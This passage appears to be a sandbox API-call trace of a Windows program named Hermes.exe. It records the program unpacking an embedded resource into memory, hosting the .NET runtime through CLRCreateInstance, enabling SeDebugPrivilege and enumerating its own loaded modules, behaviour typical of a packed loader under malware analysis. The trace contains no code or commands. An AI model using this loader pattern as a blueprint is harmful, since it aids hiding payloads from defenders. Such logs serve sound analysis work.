lpme=0x19fd18) returned 1 [0051.277] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.278] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.278] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.279] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.280] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.284] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.284] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.285] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.286] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.287] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.287] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.288] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.289] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.289] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.290] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.291] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.292] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.292] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.293] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.293] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.294] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 0 [0051.295] CloseHandle (hObject=0x15c) returned 1 [0051.295] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0051.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fbf4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0051.296] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x6) returned 0x29909e0 [0051.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fbf4, cbMultiByte=-1, lpWideCharStr=0x29909e0, cchWideChar=3 | out: lpWideCharStr="__") returned 3 [0051.296] CharUpperBuffW (in: lpsz="__", cchLength=0x3 | out: lpsz="__") returned 0x3 [0051.297] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x6) returned 0x2990ad0 [0051.297] CharUpperBuffW (in: lpsz="__", cchLength=0x2 | out: lpsz="__") returned 0x2 [0051.298] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x18) returned 0x2990520 [0051.298] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x4) returned 0x2990a70 [0051.298] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x2990ad0 | out: hHeap=0x2990000) returned 1 [0051.298] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x29909e0 | out: hHeap=0x2990000) returned 1 [0051.299] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x1bb09) returned 0x2b90048 [0051.302] LockResource (hResData=0x2b90048) returned 0x2b90048 [0051.302] SizeofResource (hModule=0x400000, hResInfo=0x2990524) returned 0x1bb09 [0051.303] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0x1bb09) returned 0x2c90048 [0051.304] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0x40022) returned 0x2cabb60 [0051.494] SizeofResource (hModule=0x400000, hResInfo=0x2990524) returned 0x1bb09 [0051.497] FreeResource (hResData=0x2b90048) returned 0 [0051.497] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0x3d20e) returned 0x2cebb90 [0051.498] SizeofResource (hModule=0x400000, hResInfo=0x2990524) returned 0x1bb09 [0051.499] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0x2530) returned 0x2d28da8 [0051.504] HeapFree (in: hHeap=0x2b80000, dwFlags=0x0, lpMem=0x2d28da8 | out: hHeap=0x2b80000) returned 1 [0051.504] LoadLibraryA (lpLibFileName="mscoree.dll") returned 0x744c0000 [0051.820] GetCurrentProcess () returned 0xffffffff [0051.821] GetCurrentProcess () returned 0xffffffff [0051.821] GetCurrentProcess () returned 0xffffffff [0051.823] GetCurrentProcess () returned 0xffffffff [0051.824] GetCurrentProcess () returned 0xffffffff [0051.854] GetProcAddress (hModule=0x744c0000, lpProcName="CLRCreateInstance") returned 0x744d5000 [0051.855] GetCurrentProcess () returned 0xffffffff [0051.857] GetCurrentProcess () returned 0xffffffff [0051.858] GetCurrentProcess () returned 0xffffffff [0051.858] GetCurrentProcess () returned 0xffffffff [0051.859] GetCurrentProcess () returned 0xffffffff [0051.859] GetCurrentProcess () returned 0xffffffff [0051.974] GetCurrentProcess () returned 0xffffffff [0051.976] GetCurrentProcess () returned 0xffffffff [0051.977] GetCurrentProcess () returned 0xffffffff [0051.978] GetCurrentProcess () returned 0xffffffff [0051.979] GetCurrentProcess () returned 0xffffffff [0051.981] GetCurrentProcess () returned 0xffffffff [0051.982] GetCurrentProcess () returned 0xffffffff [0051.983] GetCurrentProcess () returned 0xffffffff [0051.984] GetCurrentProcess () returned 0xffffffff [0051.985] GetCurrentProcess () returned 0xffffffff [0051.986] GetCurrentProcess () returned 0xffffffff [0052.749] GetCurrentProcess () returned 0xffffffff [0052.749] GetCurrentProcess () returned 0xffffffff [0052.750] GetCurrentProcess () returned 0xffffffff [0052.752] GetCurrentProcess () returned 0xffffffff [0052.753] GetCurrentProcess () returned 0xffffffff [0052.921] GetCurrentProcess () returned 0xffffffff [0052.921] GetCurrentProcess () returned 0xffffffff [0052.926] GetCurrentProcess () returned 0xffffffff [0052.926] GetCurrentProcess () returned 0xffffffff [0052.927] GetCurrentProcess () returned 0xffffffff [0052.927] GetCurrentProcess () returned 0xffffffff [0052.928] GetCurrentProcess () returned 0xffffffff [0052.929] GetCurrentProcess () returned 0xffffffff [0052.930] lstrlenA (lpString="v4.0.30319") returned 10 [0052.930] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2cebb90, cbMultiByte=11, lpWideCharStr=0x19fc18, cchWideChar=11 | out: lpWideCharStr="v4.0.30319") returned 11 [0052.948] GetCurrentProcess () returned 0xffffffff [0052.949] GetCurrentProcess () returned 0xffffffff [0052.949] GetCurrentProcess () returned 0xffffffff [0052.950] GetCurrentProcess () returned 0xffffffff [0054.399] GetCurrentProcess () returned 0xffffffff [0054.400] GetCurrentProcess () returned 0xffffffff [0054.401] GetCurrentProcess () returned 0xffffffff [0054.407] GetCurrentProcess () returned 0xffffffff [0054.409] GetCurrentProcess () returned 0xffffffff [0054.409] GetCurrentProcess () returned 0xffffffff [0054.410] GetCurrentProcess () returned 0xffffffff [0054.411] GetCurrentProcess () returned 0xffffffff [0054.781] GetCurrentProcess () returned 0xffffffff [0054.781] GetCurrentProcess () returned 0xffffffff [0054.783] GetCurrentProcess () returned 0xffffffff [0054.808] GetCurrentProcess () returned 0xffffffff [0054.808] GetCurrentProcess () returned 0xffffffff [0055.386] GetCurrentProcess () returned 0xffffffff [0055.387] GetCurrentProcess () returned 0xffffffff [0055.387] GetCurrentProcess () returned 0xffffffff [0055.388] GetCurrentProcess () returned 0xffffffff [0055.892] GetCurrentProcess () returned 0xffffffff [0055.897] GetCurrentProcess () returned 0xffffffff [0055.898] GetCurrentProcess () returned 0xffffffff [0056.296] GetCurrentProcess () returned 0xffffffff [0056.296] GetCurrentProcess () returned 0xffffffff [0058.383] GetCurrentProcess () returned 0xffffffff [0058.384] GetCurrentProcess () returned 0xffffffff [0065.991] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0xc) returned 0x2b80fd0 [0065.991] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0xc) returned 0x2b80fe8 [0066.002] GetCurrentProcess () returned 0xffffffff [0066.003] GetCurrentProcess () returned 0xffffffff [0066.004] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x80010106 [0066.004] GetCurrentProcess () returned 0xffffffff [0066.006] GetCurrentProcess () returned 0xffffffff [0066.006] RoInitialize () returned 0x1 [0066.006] GetCurrentProcess () returned 0xffffffff [0066.007] GetCurrentProcess () returned 0xffffffff [0066.007] RoUninitialize () returned 0x0 [0066.008] GetCurrentProcess () returned 0xffffffff [0066.009] GetCurrentProcess () returned 0xffffffff [0066.097] SafeArrayAccessData (in: psa=0xf83470, ppvData=0x19fae8 | out: ppvData=0x19fae8) returned 0x0 [0066.097] SafeArrayUnaccessData (psa=0xf83470) returned 0x0 [0066.134] GetCurrentProcess () returned 0xffffffff [0066.135] GetCurrentProcess () returned 0xffffffff [0066.136] SafeArrayGetDim (psa=0xf83470) returned 0x1 [0066.136] SafeArrayGetDim (psa=0xf83470) returned 0x1 [0066.136] GetCurrentProcess () returned 0xffffffff [0066.137] GetCurrentProcess () returned 0xffffffff [0066.137] SafeArrayGetLBound (in: psa=0xf83470, nDim=0x1, plLbound=0x19f86c | out: plLbound=0x19f86c) returned 0x0 [0066.138] GetCurrentProcess () returned 0xffffffff [0066.138] GetCurrentProcess () returned 0xffffffff [0066.138] SafeArrayGetVartype (in: psa=0xf83470, pvt=0x19f7dc | out: pvt=0x19f7dc) returned 0x0 [0066.236] GetCurrentProcess () returned 0xffffffff [0066.236] GetCurrentProcess () returned 0xffffffff [0066.237] GetCurrentProcess () returned 0xffffffff [0066.238] GetCurrentProcess () returned 0xffffffff [0066.238] GetCurrentProcess () returned 0xffffffff [0066.242] GetCurrentProcess () returned 0xffffffff [0066.242] GetCurrentProcess () returned 0xffffffff [0066.256] GetCurrentProcess () returned 0xffffffff [0066.256] GetCurrentProcess () returned 0xffffffff [0066.257] GetCurrentProcess () returned 0xffffffff [0066.258] GetCurrentProcess () returned 0xffffffff [0066.265] GetCurrentProcess () returned 0xffffffff [0066.266] GetCurrentProcess () returned 0xffffffff [0066.266] GetCurrentProcess () returned 0xffffffff [0066.267] GetCurrentProcess () returned 0xffffffff [0066.267] GetCurrentProcess () returned 0xffffffff [0066.268] GetCurrentProcess () returned 0xffffffff [0066.281] GetCurrentProcess () returned 0xffffffff [0066.282] GetCurrentProcess () returned 0xffffffff [0066.374] SysStringByteLen (bstr="_._") returned 0x6 [0066.479] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x0) returned 0xf82fc0 [0066.482] SysStringByteLen (bstr="___") returned 0x6 [0066.533] GetCurrentProcess () returned 0xffffffff [0066.533] GetCurrentProcess () returned 0xffffffff [0066.538] GetCurrentProcess () returned 0xffffffff [0066.541] GetCurrentProcess () returned 0xffffffff [0067.039] GetCurrentProcess () returned 0xffffffff [0067.040] GetCurrentProcess () returned 0xffffffff [0067.166] GetCurrentProcess () returned 0xffffffff [0067.166] GetCurrentProcess () returned 0xffffffff [0068.302] GetCurrentProcess () returned 0xffffffff [0068.303] GetCurrentProcess () returned 0xffffffff [0069.278] CoTaskMemAlloc (cb=0x8) returned 0xfaca80 [0073.661] GetCurrentProcessId () returned 0xf4c [0073.872] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x19cb54 | out: lpLuid=0x19cb54*(LowPart=0x14, HighPart=0)) returned 1 [0074.074] GetCurrentProcess () returned 0xffffffff [0074.074] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x19cb50 | out: TokenHandle=0x19cb50*=0x2f4) returned 1 [0074.132] AdjustTokenPrivileges (in: TokenHandle=0x2f4, DisableAllPrivileges=0, NewState=0x2f65320*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0074.132] CloseHandle (hObject=0x2f4) returned 1 [0074.244] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf4c) returned 0x2f4 [0074.337] GetCurrentProcess () returned 0xffffffff [0074.338] GetCurrentProcess () returned 0xffffffff [0074.339] GetCurrentProcess () returned 0xffffffff [0074.339] GetCurrentProcess () returned 0xffffffff [0074.342] EnumProcessModules (in: hProcess=0x2f4, lphModule=0x2f65364, cb=0x100, lpcbNeeded=0x19d2c0 | out: lphModule=0x2f65364, lpcbNeeded=0x19d2c0) returned 1 [0074.343] GetModuleInformation (in: hProcess=0x2f4, hModule=0x400000, lpmodinfo=0x2f654a4, cb=0xc | out: lpmodinfo=0x2f654a4*(lpBaseOfDll=0x400000, SizeOfImage=0x8cd000, EntryPoint=0x82ed56)) returned 1 [0074.343] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.343] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x400000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="Hermes.exe") returned 0xa [0074.344] CoTaskMemFree (pv=0xfb00a8) [0074.344] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.344] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x400000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0074.344] CoTaskMemFree (pv=0xfb00a8) [0074.421] CloseHandle (hObject=0x2f4) returned 1 [0074.431] FindResourceA (hModule=0x400000, lpName="__", lpType=0xa) returned 0x2990524 [0074.438] GetCurrentProcessId () returned 0xf4c [0074.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf4c) returned 0x2f4 [0074.441] EnumProcessModules (in: hProcess=0x2f4, lphModule=0x2f678a8, cb=0x100, lpcbNeeded=0x19d2cc | out: lphModule=0x2f678a8, lpcbNeeded=0x19d2cc) returned 1 [0074.441] GetModuleInformation (in: hProcess=0x2f4, hModule=0x400000, lpmodinfo=0x2f679e8, cb=0xc | out: lpmodinfo=0x2f679e8*(lpBaseOfDll=0x400000, SizeOfImage=0x8cd000, EntryPoint=0x82ed56)) returned 1 [0074.441] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.441] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x400000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="Hermes.exe") returned 0xa [0074.441] CoTaskMemFree (pv=0xfb00a8) [0074.441] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.441] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x400000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0074.441] CoTaskMemFree (pv=0xfb00a8) [0074.442] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77bb0000, lpmodinfo=0x2f69b18, cb=0xc | out: lpmodinfo=0x2f69b18*(lpBaseOfDll=0x77bb0000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0074.442] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.442] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77bb0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0074.442] CoTaskMemFree (pv=0xfb00a8) [0074.442] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.442] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77bb0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0074.442] CoTaskMemFree (pv=0xfb00a8) [0074.442] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75e90000, lpmodinfo=0x2f6bc1c, cb=0xc | out: lpmodinfo=0x2f6bc1c*(lpBaseOfDll=0x75e90000, SizeOfImage=0xd0000, EntryPoint=0x75ea06a0)) returned 1 [0074.442] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.442] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75e90000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="KERNEL32.DLL") returned 0xc [0074.442] CoTaskMemFree (pv=0xfb00a8) [0074.442] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.442] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75e90000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.DLL" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0074.442] CoTaskMemFree (pv=0xfb00a8) [0074.443] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74ea0000, lpmodinfo=0x2f6dd30, cb=0xc | out: lpmodinfo=0x2f6dd30*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x1c2000, EntryPoint=0x74f8ff30)) returned 1 [0074.443] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.443] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74ea0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0074.443] CoTaskMemFree (pv=0xfb00a8) [0074.443] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.443] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74ea0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0074.443] CoTaskMemFree (pv=0xfb00a8) [0074.443] GetModuleInformation (in: hProcess=0x2f4, hModule=0x745d0000, lpmodinfo=0x2f6fe4c, cb=0xc | out: lpmodinfo=0x2f6fe4c*(lpBaseOfDll=0x745d0000, SizeOfImage=0x93000, EntryPoint=0x74604270)) returned 1 [0074.443] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.443] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x745d0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0074.443] CoTaskMemFree (pv=0xfb00a8) [0074.443] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.443] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x745d0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0074.443] CoTaskMemFree (pv=0xfb00a8) [0074.444] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77920000, lpmodinfo=0x2f71f84, cb=0xc | out: lpmodinfo=0x2f71f84*(lpBaseOfDll=0x77920000, SizeOfImage=0xf3000, EntryPoint=0x7795a100)) returned 1 [0074.444] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.444] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77920000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0074.444] CoTaskMemFree (pv=0xfb00a8) [0074.444] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.444] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77920000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0074.444] CoTaskMemFree (pv=0xfb00a8) [0074.444] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75c50000, lpmodinfo=0x2f74088, cb=0xc | out: lpmodinfo=0x2f74088*(lpBaseOfDll=0x75c50000, SizeOfImage=0x238000, EntryPoint=0x75d6e060)) returned 1 [0074.444] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.444] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75c50000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0074.445] CoTaskMemFree (pv=0xfb00a8) [0074.445] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.445] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75c50000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0074.445] CoTaskMemFree (pv=0xfb00a8) [0074.445] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76000000, lpmodinfo=0x2f76194, cb=0xc | out: lpmodinfo=0x2f76194*(lpBaseOfDll=0x76000000, SizeOfImage=0x118000, EntryPoint=0x7602a3c0)) returned 1 [0074.445] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.445] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76000000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0074.445] CoTaskMemFree (pv=0xfb00a8) [0074.445] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.445] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76000000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0074.445] CoTaskMemFree (pv=0xfb00a8) [0074.445] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74710000, lpmodinfo=0x2f782a8, cb=0xc | out: lpmodinfo=0x2f782a8*(lpBaseOfDll=0x74710000, SizeOfImage=0xc0000, EntryPoint=0x7473fb20)) returned 1 [0074.445] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.445] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74710000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0074.446] CoTaskMemFree (pv=0xfb00a8) [0074.446] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.446] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74710000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0074.446] CoTaskMemFree (pv=0xfb00a8) [0074.446] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74680000, lpmodinfo=0x2f7a400, cb=0xc | out: lpmodinfo=0x2f7a400*(lpBaseOfDll=0x74680000, SizeOfImage=0x20000, EntryPoint=0x7468c9a0)) returned 1 [0074.446] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.446] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74680000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0074.446] CoTaskMemFree (pv=0xfb00a8) [0074.446] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.446] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74680000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0074.446] CoTaskMemFree (pv=0xfb00a8) [0074.446] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74670000, lpmodinfo=0x2f7c50c, cb=0xc | out: lpmodinfo=0x2f7c50c*(lpBaseOfDll=0x74670000, SizeOfImage=0xa000, EntryPoint=0x74672a00)) returned 1 [0074.446] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.446] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74670000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0074.447] CoTaskMemFree (pv=0xfb00a8) [0074.447] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.447] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74670000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0074.447] CoTaskMemFree (pv=0xfb00a8) [0074.447] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74da0000, lpmodinfo=0x2f7e620, cb=0xc | out: lpmodinfo=0x2f7e620*(lpBaseOfDll=0x74da0000, SizeOfImage=0x57000, EntryPoint=0x74ddde40)) returned 1 [0074.447] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.447] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74da0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0074.447] CoTaskMemFree (pv=0xfb00a8) [0074.447] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.447] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74da0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0074.447] CoTaskMemFree (pv=0xfb00a8) [0074.447] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75fb0000, lpmodinfo=0x2f80754, cb=0xc | out: lpmodinfo=0x2f80754*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x41000, EntryPoint=0x75fc3400)) returned 1 [0074.447] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.447] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75fb0000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0074.448] CoTaskMemFree (pv=0xfb00a8) [0074.448] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.448] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75fb0000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0074.448] CoTaskMemFree (pv=0xfb00a8) [0074.448] GetModuleInformation (in: hProcess=0x2f4, hModule=0x75b70000, lpmodinfo=0x2f82860, cb=0xc | out: lpmodinfo=0x2f82860*(lpBaseOfDll=0x75b70000, SizeOfImage=0x21000, EntryPoint=0x75b76900)) returned 1 [0074.448] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.448] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x75b70000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0074.448] CoTaskMemFree (pv=0xfb00a8) [0074.448] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.448] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x75b70000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0074.448] CoTaskMemFree (pv=0xfb00a8) [0074.448] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76290000, lpmodinfo=0x2f84964, cb=0xc | out: lpmodinfo=0x2f84964*(lpBaseOfDll=0x76290000, SizeOfImage=0x158000, EntryPoint=0x7634a9c0)) returned 1 [0074.449] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.449] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76290000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd [0074.449] CoTaskMemFree (pv=0xfb00a8) [0074.449] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.449] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76290000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0074.449] CoTaskMemFree (pv=0xfb00a8) [0074.449] GetModuleInformation (in: hProcess=0x2f4, hModule=0x77b30000, lpmodinfo=0x2f86a78, cb=0xc | out: lpmodinfo=0x2f86a78*(lpBaseOfDll=0x77b30000, SizeOfImage=0x79000, EntryPoint=0x77b44180)) returned 1 [0074.449] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.449] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x77b30000, lpBaseName=0xfb00a8, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0074.449] CoTaskMemFree (pv=0xfb00a8) [0074.449] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 [0074.449] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x77b30000, lpFilename=0xfb00a8, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0074.449] CoTaskMemFree (pv=0xfb00a8) [0074.449] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74b70000, lpmodinfo=0x2f88b8c, cb=0xc | out: lpmodinfo=0x2f88b8c*(lpBaseOfDll=0x74b70000, SizeOfImage=0x13c000, EntryPoint=0x74b9b3d0)) returned 1 [0074.450] CoTaskMemAlloc (cb=0x804) returned 0xfb00a8 